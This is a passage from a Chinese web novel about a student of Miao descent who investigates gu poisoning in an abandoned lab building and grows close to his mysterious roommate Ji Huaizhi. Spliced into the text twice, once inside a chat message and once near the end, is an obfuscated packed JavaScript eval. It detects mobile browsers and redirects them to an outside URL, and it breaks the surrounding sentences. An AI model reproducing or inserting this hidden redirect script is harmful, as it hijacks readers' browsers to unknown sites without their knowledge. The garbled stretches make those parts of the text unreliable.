“那二楼你不用看了,我们在这里转半天了,屁都没看见。”两个人并肩站在了一起,手电筒的光在宁双身上上下晃了晃,宁双抬手挡住了刺眼的光。 “能收收手电筒吗?”宁双眉头皱得更深了。 “哦哦,抱歉。”瘦子关了他的手电筒,“相逢就是缘,我们一起上去看看吧。” “别去了吧,我觉得这里有点吓人。”宁双肯定这大楼里面的味道就是有蛊香,和季淮之身上的如出一辙,季淮之果然出入过这里。 当然,赵微凉,陈鹭他们身上也有。 所以有没有守护神不知道,但是有宁双他们苗疆的人这事不假。 “都到这一步了,你说你害怕?你白长这么大块头了啊?”胖子仗着自己块头大,呛了宁双一句。 宁双无语。 算了,横竖宁双在这里,也出不了什么意外。 宁双没再理他们,转身继续往楼上走了去,两个人相互看了一眼,跟上了宁双。 一上到三楼,被烧焦的味道,灰尘的味道,各种化学药剂混杂的味道扑面而来,宁双抬起衣袖捂在了鼻腔处。 借着窗外透进来的月光,宁双一双杏眼直直地打量着周围的一切,地上有很多错综复杂的脚印,还有很多新鲜的垃圾,足以说明,过去几天或许每天都有人到这里来过。 这可就麻烦了。 “话说,这里不是烧死几个人吗?怎么会有守护神呢?”宁双没说话,身后那个瘦子突然开口吓了他一哆嗦。 宁双点头,这可太有觉悟了,就是啊,死过人的地方怎么会有实现人愿望的神呢? “你不说话没人拿你当哑巴。”胖子白了他一眼。 其实两人都有些害怕,但对比起宁双,宁双竟没有一点胆怯的痕迹。 浓烈的铁锈味,冲鼻子的化学药剂味,宁双喉管痉.挛了一下,好怪的味道。 宁双又深吸了一口气。 鼻腔突然灌入了一股黏腻的花蜜香,这股花香很快就浸入了肺腑和大脑,宁双身形一顿,赶紧回头想让他们捂紧口鼻,但已经来不及了。 两人已经目光呆滞,面无表情地看着前方了。 迷魂蛊。 能够迷惑人的心神,使人陷入下蛊人特意为他们编织的幻境之中,这种蛊在苗疆是通常拿来充当外界的麻药的。 动手术时,为了不让患者感到疼痛,就用这种蛊迷惑他们。 那两人双臂瘫软,搭在了身侧,摇摇晃晃地往楼上走了去,宁双赶紧给他们让开路。 这次宁双可以肯定这栋楼里有人用蛊了。 一旦这件事闹大,苗疆很快就会派人过来处理,到时候在这所学校所有苗疆一族的人都会被调查,说不定他 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宁双脚步悬在了台阶之上,余光瞄了一眼身后敞着门的空实验室,随后钻了进去。 实验室里的灰尘已经很厚了,月光透进来,照到了墙面,墙面是当年火灾熏过后的黑,潮气太重,墙面已经爬上了斑驳的霉菌,像一张张挤在一起的人脸。 所有脸都在盯着宁双笑。 宁双倚在门框边,余光盯着楼梯口,等着楼下的人走上来。 说实话,宁双想过可能是来许愿的学生,想过是这里的始作俑者,甚至还觉得是前来巡逻查看的保安,但是他万万没想到,映入眼帘的是一张让他无比熟悉的脸。 月光从窗户钻进来,洒在了那人冷峻的脸上,长发被夜风带动,他身上散发着和月光相似的冷寒。 季淮之。 季淮之为什么会在这里? 宁双眸孔放大,眼底满是震惊,季淮之脚步轻盈,看他的模样,他似乎并不像是那两人那样,他没有中蛊,目光一如既往的清冷疏离,身上黑色的风衣裹着他,衬得他这个人更是一种不近人情的冰冷。 季淮之四处打量着,双手揣在风衣口袋里,他似乎察觉到了有人盯着自己,突然转头看了过来,宁双赶紧藏好自己。 外面传来窸窸窣窣的动静。 过了半分钟,宁双听到了季淮之上楼的声音。 他走在楼梯上,仪态极好,风将他长发撩起来,风衣也跟着鼓动。 几乎是等到季淮之走入了楼梯拐角处,宁双才离开实验室,悄悄跟上了楼。 四楼空荡荡的,宁双借手电筒的光看了一眼过道,地上的灰迹没有脚印,说明他们继续往楼上去了。 宁双有些想不明白,季淮之怎么会在这里?倘若季淮之是为了愿望前来的,为什么在二楼没有像开始两人那样中蛊? 一时间,宁双对季淮之的好奇盖过了他对季淮之的喜欢。 他现在只想知道季淮之到底是什么人。 宁双踩着楼梯往上走,到了五楼,再往上的六楼就是顶楼了,五楼也是空荡荡的,宁双屏着呼吸上了六楼。 出乎预料的是,六楼还是空荡荡的,只是铺满灰尘的过道上的几道脚印证实了他们在这一楼往走廊深处走去了。 宁双站在楼梯口,往走廊深处望了出去。 当初的一场大火,烧毁了实验大楼,现在大楼墙皮脱落,门窗破损,墙壁上附着斑驳的霉菌,墙上留着学生逃跑时的留下的血抓痕,一切显得是那么的狰狞。 风在走廊里迂回,说话的声音,惨叫的声音。 宁双顺着走廊往前走,走廊的脚印消失在了一扇紧闭的门前,里面传来好多人说话的声音,还有哭声,雨声,噼啪噼啪的声音。 宁双莫名开始心慌,心跳的每一下有力的跳动就像是在警告宁双,警告他不要推开门进去。 原本被烟熏得漆黑的铁门,此刻变成了古旧的木门,门上缠着藤蔓,宁双喉结滚了一下,推开了门。 古旧的气息扑面而来,湿润,黏腻,空气中浮着血腥味。 他……回到了老家的祠堂?? 老家总是阴雨天气,这天下着好大的雨,吊脚楼下挂着的铃铛被风吹得“叮当”作响,空气是湿漉的,黏腻又沉闷,仅仅只是站在这里,就有一种呼吸不畅的感觉。 这一次,他还是站在祠堂外面,这次他终于看清了自己的形象,他并不年幼,母亲跪在地上抱着昏迷的他,哭得泣不成声,身边全都是自己的亲戚,他们哭着,咒骂着,所有人都满含恨意地看着祠堂。 祠堂里面呢…… 地上跪着一个十一二岁的少年,他紫色的族服被鞭子抽打得稀巴烂,满背的鲜血,族长的鞭子毫不留情地落在了少年的后背上。 长鞭带出的血珠子浇在了烛火上,发出了“滋滋”的声音。 是谁…… 他到底是谁…… 宁双想要上前去看清楚挨打的人是谁,可一股无形的力量将他挡在了祠堂外面,直到族长发话,“逆子!”“你毁了他,也毁了你啊!” 一鞭,一鞭,又是一鞭。 宁双心脏疼得无法呼吸。 那个少年突然转过了头,在昏暗的祠堂下,少年的脸仍旧看不清晰,但那双晦暗的,充斥着占有欲的眸珠却愈发的清晰。 那道眼神像是一条来自地狱的毒蛇,它紧紧的缠绕上了宁双的颈脖,寒意从脚掌开始灌满全身,宁双的呼吸开始变慢,变艰难。 12.幻觉 “你是谁?”宁双喊出了声。 这三个字开始在空旷的祠堂里面回荡,一道道回声在宁双耳朵里搅着,生生将宁双从这梦境的深海中拽醒。 “咳咳咳。”宁双被一阵凉风吹回了神,他慢慢张开眼,才发现自己此刻竟靠在那个空旷的实验室墙边睡着了,月光铺在他身上,像是给他披上了一件透明的银色薄纱。 此刻,一丝暗香从宁双鼻尖飘过。 宁双皱着眉头,手抬起来才发现身上盖着自己的外套,他到实验楼以后就把外套脱下来拿在手里了,现在却像是被人为地披在了他的身上。 越想越想不明白,宁双拿着外套,扶着墙勉强站起了身,只是头还晕得厉害。 他从口袋里摸出事先准备好的手帕,捂住了口鼻,手帕渗出的清醒香钻进了鼻腔,宁双昏沉的大脑终于清醒了许多。 他很确信自己中了蛊,和那两人中的蛊不太一样,宁双中的蛊很高级,几乎是悄无声息地让他中了招。 宁双体内有苗疆一脉的血液,从小吃过不少草药,一般的蛊奈何不了他,他能中招,就说明这不是一般的蛊,至少对宁双这个半吊子来说,要让他立马找出自己刚刚中的什么蛊,他反正没那个本事。 缓了几秒,宁双突然想起刚刚见到了季淮之的事。 不好! 宁双赶紧跑出实验室,抬头往楼道旁的标志一看,他果然还在四楼没动过,宁双快步跑上了楼。 五楼空荡荡的,宁双举起手电筒看了一眼走廊的地面,上面堆积的灰尘已经很厚了,没有脚印,说明他们去六楼了。 宁双又抬脚上了楼,六楼就是顶楼了,在这里,他或许会看见刚刚中蛊的那两人,也或许会看见这一切的始作俑者,当然,他还可能会遇见季淮之。 宁双在楼梯的转角处犹豫了很久,最后悬停在楼梯上的脚还是毫不犹豫地落了下去。 六楼和他在梦境中见到的一模一样,走廊留着许多杂乱无章的脚印,脚印所有的朝向都是走廊的深处,宁双跟着脚印,停留在了一扇紧闭的门前。 这栋实验楼破败了很久,处处都留着被大火烧过的痕迹,各种化学药剂混杂在一起,空气是潮湿的,墙上是各种血色的抓痕,狰狞又骇人。 同样的门,推开到底是什么样的景象,宁双自己都猜不准。 他对着手里的手帕深吸了一口气,清新的味道窜入肺腑,宁双抬起手推开了门。 潮气扑面而来,掺着各种东西腐败的味道,甚至还有新鲜食物的味道? 宁双将手电筒的灯光打在了屋里,这间屋子竟然出奇的干净整洁,墙角睡着两个人,是刚刚那两个男生。 宁双抬脚走进去,打量着这间教室,很明显有人在这里居住过,地上是一袋袋零食包装袋和水果果皮,在窗台底下,铺着毛毯和被褥,还有一床睡袋。 旁边放着没吃完的水果和零食。 这间屋子除了宁双和那两个昏睡的人,便再无第三人了。 宁双蹲下去,捡起脚边的木棍,挑开了睡袋,结果就看见睡袋下面压着好些值钱的玩意儿。 名贵的手表,珍珠,黄金手镯,项链……当真是骗人的。 宁双用木棍挑起了一条黄金挂坠,他认得,那是赵微凉的项链。 他将项链拿起来装回了口袋里,然后又将睡袋挑回来重新盖住这些东西,随后起身走去了昏睡的那两人跟前。 看着他俩,宁双却陷入了沉思。 所以始作俑者在哪儿?季淮之又去哪儿了? 宁双推门走了出去,到这层楼所有的房间看了一遍,再没找到第四人。 错觉吗?宁双没办法,又原路返回来了那个房间,从口袋里翻出一个瓷瓶,打开瓶塞后在两人的鼻尖处晃了晃。 没过半分钟,两人先后醒了过来。 看见跟前的宁双,两人皆是一愣,“傻了你俩?我在四楼转一圈,上来就看见你们俩睡在这里了,人呢,有看到守护神吗?” “没……但是我听到声音了!”小胖子非常激动。 瘦子附和:“对对,我也听到了,他问我们有什么要实现的愿望,我就把之前准备好的黄金拿了出来。” 瘦子在身上摸了摸,接着手一顿,二人见他从口袋里摸出了一块黄金挂坠。 宁双叹了口气,“哪儿来的守护神,我就没遇到,这里烂成这样,你们怕是霉菌吸多了。” 他站起身拍了拍手上并不存在的灰迹说。 两人在他话音刚落的瞬间,纷纷抬起手臂捂住了口鼻。 “反正我回去了,你们爱待这里就待吧,其实刚刚在楼下我听到了有人哭和惨叫的声音,也说不准是不是那些被火烧死惨死的学生。”宁双丢下了这样不明不白的一句,抬脚就离开了房间。 两人胆子说不上大,再加上他们无故昏睡在这里,一时就被宁双的话吓住了,赶紧搀扶着起身跟上了宁双。 宁双把外套穿好,双手揣在衣兜里面,慢慢地下了楼,两个人就走在他身后。 瘦子盯着宁双极其有安全感的背影,突然开口:“喂,你不害怕吗?” 宁双将手机举起来,抵在下巴,从下至上地照着脸,回头对两人吐出了舌头,“哈。” “……”两人一起沉默。 宁双被他俩的反应逗得笑了起来,回头继续往楼下走:“有啥好怕的,我们三个大男人还打不过鬼吗?” 何况这里又真的没有鬼。 三人前后出了实验大楼,在大楼门前,两人和宁双道了别,先行离开了,宁双在离开前又回头看了一眼,大楼矗立在这里,风吹进去,在大楼里面穿梭乱窜,墙上的爬山虎叶被吹得直抖,像是在挣扎着冲破某种封印。 “咕咕。”鸟叫声和虫鸣声交织在了一起。 季淮之。 宁双心里默默地喊出了这个名字,随后头也不回地离开了。 —— 到家已经是后半夜了,宁双回去的时候估算了一下,他在四楼大概昏睡了两个半小时,前后一耽搁,宁双睡前,窗外已经隐隐见亮光了,天际泛起了鱼肚白。 清晨的鸟叫声刺破了夜晚的寂静。 宁双蒙着被子睡了过去。 再醒来,已经是十一点多了。 宁双打着哈欠,穿着睡衣睡裤出了房间,转身去到了隔壁房间上厕所,上完厕所,洗漱了后宁双才渐渐清醒一些。 “咕咕。”窗边又传来鸟叫声。 宁双脸上的水还没擦干,就被它的叫声吸引了,这是那天宁双洗澡的时候看见的小鸟。 毛发更加干净顺滑了,阳光落在小鸟的羽毛上,宁双觉得它的羽毛有 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今天是周末,所以季淮之身上穿的睡衣还没换下来,长袖长裤,灰蓝色的,他一双长腿,显得厨房都矮小破旧了,围裙半紧不紧地系在他身上,腰线掐了出来。 长发被一条发绳扎了起来,搭在他的胸前,另一边耳侧落了不少碎发下来。 宁双长睫颤了颤,为这一幕极为动容。 可是他为什么会在那里遇见季淮之?在他醒来后,季淮之为什么又不见了?难道那是他的幻觉吗? 宁双看着他的背影出了神,直到季淮之关火,将炒菜装在盘子里走到了他跟前,宁双才回过神来。 “啊,季淮之。”宁双后退了小半步,随后整理了一下神色,露出了笑脸给季淮之,“抱歉,我今天起太晚了。” 季淮之看着宁双眼底下的乌青,十分善解人意道:“没关系,周末多睡一会儿也很正常。” 宁双跟着季淮之去了餐桌前,看着慢慢一大桌菜,他忍不住夸奖说:“季淮之,没想到你的厨艺也这么厉害。” 季淮之:“没有你炒的好吃。” “我还没吃过你的呢,不要说这种话。”宁双打开电饭煲,给两人各自盛了一碗米饭。 第一口饭下肚,宁双立马竖起拇指说:“很好吃啊!你这个厨艺就算去做厨师也没问题呀。” 他眼底的神情是真诚的,语气也是真诚的。 季淮之抿着唇,微微笑着:“谢谢。” 宁双:“我也要谢谢你呢,谢谢你做这么多菜。” 季淮之还真不止是长得完美,连厨艺也这么好,宁双托着腮,静静看着季淮之的脸,突然喊他:“季淮之。” 季淮之长筷一顿,随即放下筷子,认真看向了宁双。 “你昨晚在家吗?”宁双问。 季淮之立马露出困惑的表情,漂亮的眉紧蹙在了一起,散下的发丝莫名给他添了几分可怜,“怎么了?” “我就问问。”宁双被季淮之这张脸迷得差点走了神。 季淮之睫毛垂下,语气淡淡:“我在家。” 沉默了两秒,季淮之突然掀起眼皮,阴郁的眸珠好似划过了一丝淡紫色的亮光,他笃定道:“但是你好像不在家。” 13.过敏 宁双本来是想问季淮之的,没想到他却反问起了自己,那笃定又掺着忧郁的眼神,似乎是在埋怨宁双为什么这么问他。 “我……嗯……”宁双半天找不到一个借口。 过了十多秒,他语气飘忽地说:“在啊,我昨晚一直在睡觉啊。” 又说谎。季淮之敛下长睫毛,眸色逐渐暗淡,他重新拿起手边的筷子,开始一语不发地夹菜吃。 其实季淮之对宁双的冷淡,仅限于两人初见,那时候宁双撞了他,季淮之对于他的冒失很不高兴,但宁双道歉的态度很好,他的冷漠也就稍有缓和。 后来季淮之住到宁双家里了,对宁双的态度更是温和了,至少并不高冷,也会对宁双表现出适当的关心。 绝不像现在这样,一言不发,甚至连一个表情都不愿意给宁双。 似乎是有些生气,宁双彻底捉摸不透对方了,想了半天,试探着问:“你……昨晚找我了?” 不对?!季淮之生什么气?宁双还更生气呢?他怎么会出现在那里?宁双找上去的时候,季淮之为什么又会消失不见?比起宁双昨晚不在家,这些问题才更让人生气吧? 可是不等宁双反问他,季淮之就点头了:“嗯,我来找你,是想问一下家里有没有治过敏的药,可你却不在家。” 宁双一愣,下意识关心问:“过敏?你怎么了?” 他赶紧起身走到季淮之身边。 季淮之放下长筷仰起头看他,额前的碎发掀开,露出了整张精致漂亮的脸,头顶的灯光晃在季淮之眼底,明晃晃的,像是泪光,格外招人怜爱,宁双倒吸了一口凉气,怎么有人能好看成这样啊?! “昨晚吃的青椒,有些过敏,手上起了红疹。”季淮之主动掀开了衣袖,露出了一小节胳膊,胳膊上留着东一块西一块的淡粉色红疹,许是太痒了,手臂上还留着几道破了皮的抓痕。 “你吃青椒过敏?你怎么不和我说啊?你说了我就不买了呀!”宁双赶紧走去玄关,在橱柜里找到了医疗箱,重新回到了季淮之身边。 “我很久没吃过了,还以为已经没事了。”季淮之解释说。 他看着宁双,眼底有些哀伤。 “我昨晚出去是有事情要办,不知道你来找我了,对不起啊,我之前也忘记和你说家里医药箱的位置了。”看见季淮之冷白的小臂上的红疹和抓痕,宁双一时间也忘记昨晚的事了。 季淮之语气平淡:“没关系,我当时只吃了一点,睡一觉后已经好多了。” 宁双坐到他身边,从药箱里找到了治过敏的药,倒了几粒在手心,又倒了一杯水,“先把药吃了。” 宁双双手伸长到了季淮之手边。 季淮之抬眼看了看宁双关切的眼神,随后捻起宁双手心的药,又接过水杯,就着水将药咽下了肚。 宁双继续拿出擦拭伤口用的碘伏,又用镊子夹了一团医用棉,“你吃了药,红疹应该会慢慢消下去,我现在把抓痕给你处理一下吧。” 季淮之听话地伸长双臂,宁双把他的衣袖卷起来,开始仔细给抓痕上起了药。 季淮之皮肤白,皮肉下的血管纹路都一清二楚,红色的抓痕交错在他的手臂上,有一种莫名的色气,再往下,季淮之手表底下隐隐露出了一抹粉色印记。 宁双好奇多看了两眼,随后问:“你这是胎记吗?” “嗯。”季淮之面无表情地应声。 “我也有一个胎记,但是在后颈,我不用镜子看都看不着。”宁双小声回了一句。 随后低下头,开始耐心用沾了碘伏的棉团擦拭季淮之手臂上的抓痕,长睫毛垂下,在眼底拢出一片阴影,季淮之垂眼看着宁双,目光细细描摹着对方五官的轮廓,眼底染上了一抹不易察觉的温柔。 “好了,还好只是抓伤了表皮,养养就好了。”宁双松开手,抬头看向季淮之说。 季淮之慢慢放下宽松的长袖,道:“谢谢。” 宁双摇头表示不用谢,随后又问:“只有手臂上有抓痕吗?背上有吗?” “没有了,只有手臂上才有。”季淮之如实说。 宁双点头:“那就行。” “有的话你也不用不好意思,我们都是男人,没什么看不得的。”他又补充了一句。 季淮之继续摇头。 见状,宁双也不再多问,他收好药箱,“你还有什么过敏啊?一并说给我吧,以后咱就不买回家了。” “没了。”季淮之说。 宁双将药箱放回到了橱柜里,“好,那我记住了,以后我们不买青椒了。” 他重新坐回到了餐桌对面,“吃饭吧,一会儿就凉了。” 两人安静吃起了饭,宁双若有所思地盯着季淮之,思忖了很久,最后得出总结,昨晚或许是自己的幻觉吧。 毕竟宁双很确信自己也中了蛊的,他甚至不知道自己是什么时候中的蛊,所以他看见季淮之,说不定那时候他就已经中蛊了。 而季淮之只是出现在了他的环境里。 想到自己刚刚还因此怀疑了季淮之,宁双心里有些过意不去,好在季淮之也不知道宁双脑子里出现了那么多的弯弯绕绕。 因为午饭是季淮之做的,所以宁双怎么也不肯让季淮之再帮忙洗碗,他一个人就把洗碗的活包揽了。 等他洗完碗出来,季淮之此刻正坐在沙发边看书,风将窗帘吹动,进来的风将他的长发轻轻带动,安静得像是一副水墨画。 宁双坐到他的对面,给自己倒了一杯茶,“那个,季淮之……” 季淮之停下了翻页的动作,抬头看向宁双:“怎么了?” 宁双轻咳一声,“晚点我要去遛宁敦敦,你要一起吗?” “好。”季淮之点头。 “那行,我现在先回房间去补会儿觉。”宁双站起身说。 季淮之“嗯”了一声。 宁双刚要走,突然又停下来,笑着对季淮之说:“对了,晚饭我来做吧,做点清淡的给你补补 。” 他说完话就离开了客厅,踩着楼梯往楼上去了,季淮之抬起头,看着对方的背影完全消失在了视线里,他才合上书本收回了目光。 此刻眼底划过了一丝暗色的光。 又骗我,宁双。 —— 宁双回到房间后,先是反锁了房门吗,然后将房间的窗帘拉得严严实实的,避光的窗帘将刺眼的阳光隔绝在了窗外。 宁双这才有时间去收拾昨晚上的残局。 包里好多解蛊的药都没用上,宁双一一拿出来收在了衣柜底下的抽屉里,他现在其实没什么睡意,只是洗碗的时候收到了几组陆宇洋发来给他的八卦图片,宁双一看是和那栋废弃实验楼有关的,便找了个借口回房间。 照片看起来像是天将亮的时候拍的,在大楼前面停着几辆警车,一众警察之间,站着几个身着苗疆族服的人。 宁双歪着脑袋看了半天,合着苗疆那边真的派人来了? 【陆宇洋:听他们说了,这就是有人搞催眠术,装神弄鬼而已】 【陆宇洋:我就说世界上没什么守护神吧】 【陆宇洋:照片是内部发给我的,你可不要外传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115099|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 宁双把几张图片来回看了几遍,最后才回他:【我知道了】 【陆宇洋:我还听说学校打算拆了这栋楼,给我们建新的教学楼】 宁双对此并不是很关心,等教学楼修起来,他们早不知道毕业多少年了。 【宁双:你消息还挺灵通】 【陆宇洋:那是,也不看看我是谁】 宁双没回消息了,他趴在床上玩了会儿手机,想到了自己昨晚中蛊后的幻境,那是幻境,也是宁双的梦境,这样的场景,他几乎每个月都会梦见一次。 他觉得自己丢失了一段记忆,但是爸爸妈妈都说没有,宁双又觉得对方没有隐瞒自己的必要。 以至于现在宁双都没搞清楚这到底是噩梦还是宁双的记忆。 “唉。”宁双叹了口气。 他从口袋里摸出在实验大楼里面拿回的黄金挂坠,拍照片发给了赵微凉,不过一会儿,赵微凉就打了个电话过来。 “宁双!我的挂坠怎么在你这里?”听语气,赵微凉是又惊喜又高兴。 宁双:“我昨晚去实验大楼了,听你们说那里许愿很灵,我就去看看了。” 赵微凉好奇问:“那你看到守护神了吗?” “没有,但是我找到了某个人给守护神的东西。”宁双晃了晃手里的黄金挂坠。 赵微凉:“唉,你别说了。” “今天学校发通知了,你看到了没?” 宁双:“看到通知推送了,但还没看具体内容。” “那你现在先看了,看了我才好说。” 宁双听话点开了学校公众号,在上面看到了学校的辟谣。 称所谓的破旧实验楼守护神谣言是假的,因为大楼被火烧过,经历雨雪后,大楼里面就长出了一种会致幻的霉菌,进去的人吸入这种霉菌,产生了幻觉,就以为自己是遇到了守护神。 总而言之,学校不日就会拆毁大楼,在这里修建新的教学楼。 “看完了,我觉得学校说得对。”宁双巴不得这件事就这么处理了,千万不能把苗疆的人给牵扯出来,还连累了自己。 赵微凉:“不仅如此,学校还在里面发现了我们交换愿望留下的东西,正在一个一个找人领回去呢,我以为我会被叫去挨一顿臭骂呢!还好你给我捡回来了,兄弟,兄弟啊!” 宁双汗颜。 “好了好了,周一我给你拿来吧。”宁双说。 赵微凉假意醒了一下并不存在的鼻涕,呜呜咽咽地说好,宁双好说好歹才成功挂了他的电话。 这件事就这么解决了,宁双明显也轻松了很多。 看着陆宇洋发来的图片里那几个身着苗疆族服的人,宁双也就猜到这件事是怎么解决的了。 还是长老们来处理的,只是这件事他们办得低调,宁双作为苗疆人,才没有受到牵连。 就是有一点宁双不太理解,昨晚他醒来后,为什么顶楼除了那两个昏睡的普通人,就再没有看见其他人了呢? 季淮之尚且说是他的幻觉,可背后的始作俑者总不能莫名其妙就消失了吧?或者说知道自己去了,所以趁他昏迷的时候溜走了? 想来想去,宁双找不到说服自己的理由,干脆就没想了,毕竟再怎么说,这件事算是翻篇了。 那么接下来的话,就是上学,陪新生训练,然后……和季淮之好好相处! 不过现在也要到秋天了,季淮之看起来身体好像不太好,宁双坐起身,盘着腿想了想,起身去衣柜里面抱了一床毛毯出来,随后出门右转去敲响了季淮之房间的门。 14.共伞 宁双敲响了房门,大概过了半分钟季淮之才来开门。 房间里面飘来淡淡的香味,像是某种花香,也像是初雪下的檀香,透着一股清冷味儿,同样是二楼朝阳的房间,不知道为什么,季淮之的房间似乎要冷上许多。 季淮之刚刚应该在换衣服,他打开门的时候,正在扣衬衫最上面的那颗纽扣,宁双微笑着说:“季淮之,现在晚上有些冷了,我给你拿了毛毯过来,你先用着吧。” “等再过一两个月,小区开始供暖了,到那时你就不用盖毛毯了。” 季淮之伸手将毛毯抱了过去,低声道:“谢谢。” 宁双摇头:“不用谢!而且我感觉你身体不太好,所以晚上出去遛狗的时候你记得拿外套。” 季淮之适时咳了一声,“好,我知道了。” 宁双这才安心,摆摆手回到了房间。 他没什么睡意,回到房间后就坐去了书桌前,找了两套试卷出来做。 试卷做完,时间也差不多到下午五点左右了,宁双换了套干净衣服才下楼。 楼下很安静,宁敦敦也在狗窝里面睡觉,听见宁双下楼的声音,宁敦敦脑袋一下就支棱了起来,吐着舌头跑到了宁双身边。 宁双蹲下去,把宁敦敦从头到脚撸.了个遍。 一抬头,就看见玄关处的鞋架上摆着季淮之的拖鞋。 嗯?出门了? 宁双做试卷的时候带了耳机,倒是没听到外面的动静,此时的外面正下着小雨,淅淅沥沥的,落在了透明窗上,模糊了窗外的景。 “哈——”宁双打了一个哈欠,起身去将楼下未关完的窗关严实了。 看见外面路过的工作党将公文包顶在头上跑过去,宁双愣了愣,转而拿起手机给季淮之发了消息过去:【你在外面吗?】 季淮之收到这条短信的时候,和他谈话的三位长老正在研究打车软件,打算给他打辆出租车,将他送回家。 他低头回了宁双消息:【嗯】 【宁双:现在在下雨,你带伞了吗?】 与此同时,身边一位四十多岁的中年男人恭恭敬敬对他说:“族……那个,先生,打到车了,您先回去吧。” 季淮之没理他,他继续回宁双:【忘记了,不过没关系,我可以等雨停】 宁双往窗外看出去,又看了眼未来几小时的天气预报,雨要下到后半夜才会停,甚至两个小时后会下大暴雨。 想了想,宁双打字问:【你在哪里呀?要是离我不远,我来接你吧】 季淮之眉梢挂上悦意,眸珠也染上了几分亮光,他抬头对身边的三人说:“你们坐车回去吧,不用管我。” “这……”三人面面相觑。 季淮之却不再看他们,又重新回到了茶馆里面。 季淮之不喜欢他们,他们是知道的,现在季淮之的态度已经摆出来了,他们再坚持就没有意义了。 他做事总是有自己的想法,他们干涉不了,也无权干涉。 这次出来,他们也是迫不得已,十多位长老,没有一个想出来和外面的人接触、交谈,没办法一圈人私底下就抽签,谁知道就抽中了他们三。 仔细一想,他们也觉得自己命苦,季淮之能处理的事,非要让他们来收尾,但他的话,他们又不敢不听。 可以后这样的事恐怕还会有,岂不每次都会让他们来收尾? 但他们也只敢在心里想想,三人一齐叹了口气,坐上车离开了。 季淮之将自己所在的位置发送给了宁双,又打字说:【下着雨,不方便,要不你别来了吧】 宁双满不在乎,打开了鞋柜的抽屉,从里面拿了两把伞出来。 顺便回了条语音过去:“多大点儿事,而且咱们距离这么近,就当我出来散散步,透透气好了。” 青年阳光,自信,轻快的声音从手机听筒里传出来,季淮之听着语音,似乎都能想到此刻宁双的神情,他小心将语音点了收藏。 然后从随身的挎包里拿出了一本书,摊开放在桌上,开始静静等待宁双到来。 他心不在书上,目光都开始游离了,排列整齐的文字被打乱,耳边是屋檐蓄成的雨滴落在地面的声音,路过的车辆轧过水坑,发出很大的声音。 他偏头看出去,小雨被风吹成了一条斜线,树叶簌簌的动着,那都是风的形状。 “咚咚。”桌面突然被敲响。 季淮之赶紧回头,看向了制造出动静的人。 宁双不知什么时候赶到了。 他将雨伞放在脚边,坐到了对面,对季淮之微微一笑,露出虎牙,“好啊,你看书不认真!” 宁双竖起一根手指,似在调侃季淮之的心不在焉。 季淮之抬手拢了一下鬓边碎发,不知道怎么回自己看书心不在焉这件事,干脆别开了话题:“抱歉,让你冒着雨过来接我。” 宁双摇头,“没关系,我们是室友啊,而且我愿意这么做。” 宁双从来不是扭捏的人,如果他遇到了自己喜欢的人,是一定会主动出击的,现在他对季淮之所有的主动和示好,都是因为他对季淮之感兴趣,他认为他是喜欢季淮之的。 宁双在这里喝了一杯茶,约莫过了十分钟两人才一起离开茶馆。 茶馆前,宁双撑开伞,偏头去看季淮之,见他将伞掸开,却不见撑起来,宁双伸手去将伞拿了过来,又将自己手里的伞递给他,说:“我来吧。” 成见是一点一点堆叠的,宁双现在觉得季淮之已经是肩不能挑手不能提的人了,所以也乐意帮对方撑伞。 只是伞拿到手里了才知道,季淮之不撑伞是因为手里这把伞本来就撑不开。 “嗯?”宁双举起伞,歪着脑袋瞅了瞅,“坏了?” 宁双倒是不记得家里什么时候有坏掉的伞了,心疑是很久不用的缘故么? “季淮之,我们……”宁双抬头看向季淮之,正要说他们打车回家,头顶却突然覆过来了一抹昏暗,季淮之将伞撑在了两人头顶。 不大的伞罩住了两人。 “伞坏了吗?”季淮之问。 宁双点头:“嗯,不然我们打车回去吧?” 说完他又开玩笑:“我们总不能就撑着这一把伞回去吧?” “好。” “对啊……”宁双笑着,接着笑意一顿,满脸困惑得看向季淮之,“啊?好?” “对,好。”季淮之顶着一张清冷的脸,坚定地说了好。 “什么你就好,下着雨呢,我们俩大爷们挤一把伞,不都给淋个落汤鸡?”宁双也只当他是开玩笑。 季淮之却看着宁双的眼睛,说:“雨并不大,我正好透透气,你打车回去吧。” 他走进雨幕,又回头对宁双说:“谢谢你给我送伞来。” 说完还咳嗽了两声。 宁双澄澈杏眼里的亮光晃了晃,看季淮之的神情举止真不是开玩笑的,赶紧跳下台阶钻进了季淮之的伞下,在对方错愕的神情中,笑弯了眉眼说:“那我陪你一起。” 风吹过来,掀开了宁双的额发,露出了一张清隽端正的脸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119151|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 季淮之目光在宁双脸上停顿了几秒,随后收回目光,低下头,唇角噙着浅浅的笑意说:“好。” 好在雨伞够大,为他们两个大男人遮雨刚刚好。 宁双只比季淮之矮一点,远看并看不出什么差距来,宁双从他手里拿过伞,撑在了两人头顶:“走吧,回家。” 季淮之眸光暗涌,随即低低地应声:“好。” 雨水落在伞面,风带了些细碎的雨珠在他们身上。 “你怎么想着来茶馆学习了?”宁双好奇。 季淮之面不改色地撒谎说:“本来是出来透风的,谁知道到这里就下雨了,只好进去躲雨了。” 宁双笑着调侃他:“散心还带着书本,看来你很好学呀!” 听出了宁双话语间的调侃,季淮之抿直了唇,也将头埋低了一些。 